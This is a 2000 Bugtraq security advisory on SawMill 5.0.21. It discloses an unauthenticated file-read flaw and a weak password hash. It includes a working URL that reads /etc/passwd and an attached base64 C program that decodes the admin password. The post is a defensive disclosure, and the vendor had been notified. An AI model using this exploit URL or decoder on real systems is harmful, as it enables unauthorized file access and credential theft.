Date: Mon, 26 Jun 2000 17:11:54 -0700 From: "Cashdollar, Larry" <lwc@VAPID.DHS.ORG> Subject: sawmill5.0.21 old path bug & weak hash algorithm To: BUGTRAQ@SECURITYFOCUS.COM This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --8323328-1932493144-962064714=:606 Content-Type: TEXT/PLAIN; charset=US-ASCII Aleph1, Greetings, I did not see this in the archives so I figured I would forward it on. Vendor: Notified. Link: http://www.flowerfire.com/sawmill SawMill is a site log statistics package for UNIX, Windows and MacOS. I have been evaluating it under Linux. In my test configuration I have sawmill listening on port 8987 of my webserver. I noticed two things. Dangerous. 1) You can get sawmill to read you the first line of any (if run as nobody) world readable files without needing to authenticate first. The following will print the first line of /etc/passwd: http://192.168.1.65:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3 You can imagine how much more fun this would be if it was launched as root. Which it should not and does not need to be. more danger. 2) The password is stored with a weak hash algorithm and can be decrypted using the attached C program. This is dangerous because the previous security hole will allow you to read the first line of the sawmill/SawmillInfo/SawmillPassword decrypt the password and access the site statistics, reconfigure sawmill. Along with the ability to browse the remote machines drive contents. If this is being run as root then the attacker can specify root readonly files as log files and read most if not all of their contents. file info: sawmill5.0.21trial_x86_linux.tar.gz I have notified the vendor and they were very responsive and are currently working on a fix. -- Larry Cashdollar http://vapid.betteros.org --8323328-1932493144-962064714=:606 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="decrypt.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.LNX.4.21.0006261711540.606@localhost.localdomain> Content-Description: Content-Disposition: attachment; filename="decrypt.c" LypEZWNyeXB0IHBhc3N3b3JkIGZvciBTYXdtaWxsIGFkbWluIGFjY291bnQu DQoNCkxhcnJ5IFcuIENhc2hkb2xsYXINCmx3Y0B2YXBpZC5iZXR0ZXJvcy5v cmcNCmh0dHA6Ly92YXBpZC5iZXR0ZXJvcy5vcmcNCnVzYWdlIC4vZGVjcnlw dCBjeXBoZXJ0ZXh0DQoNCiovDQoNCiNpbmNsdWRlIDxzdGRpby5oPg0KDQoN Cg0KY2hhciAqYWxwaGEgPSJhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAx MjM0NTY3ODkhQCMkJV4mKigpXyt+PD4/Olwie318IjsNCmNoYXIgKmVuY29k ZT0iPUdlS01OUVN+VGZVVldYWVthYmN5Z2ltcnNcIiMkJi1dRkxxNC5Ad0lD SDIhb0VufVolKE92dHt6IjsNCg0KaW50DQptYWluIChpbnQgYXJnYywgY2hh ciAqKmFyZ3YpDQp7DQoNCiAgaW50IHgsIHk7DQogIGNoYXIgY3lwaGVyWzEy OF07DQoNCiAgc3RybmNweSAoY3lwaGVyLCBhcmd2WzFdLCAxMjgpOw0KDQog IGZvciAoeCA9IDA7IHggPCBzdHJsZW4gKGN5cGhlcik7IHgrKykNCiAgICB7 DQoNCiAgICAgIGZvciAoeSA9IDA7IHkgPCBzdHJsZW4gKGVuY29kZSk7IHkr KykNCglpZiAoY3lwaGVyW3hdID09IGVuY29kZVt5XSkNCgkgIHByaW50ZiAo IiVjIiwgYWxwaGFbeV0pOw0KDQogICAgfQ0KDQpwcmludGYoIlxuXCIrXCIg Y291bGQgYWxzbyBiZSBhIHNwYWNlIFsgXVxuIik7DQoNCn0NCg0K --8323328-1932493144-962064714=:606--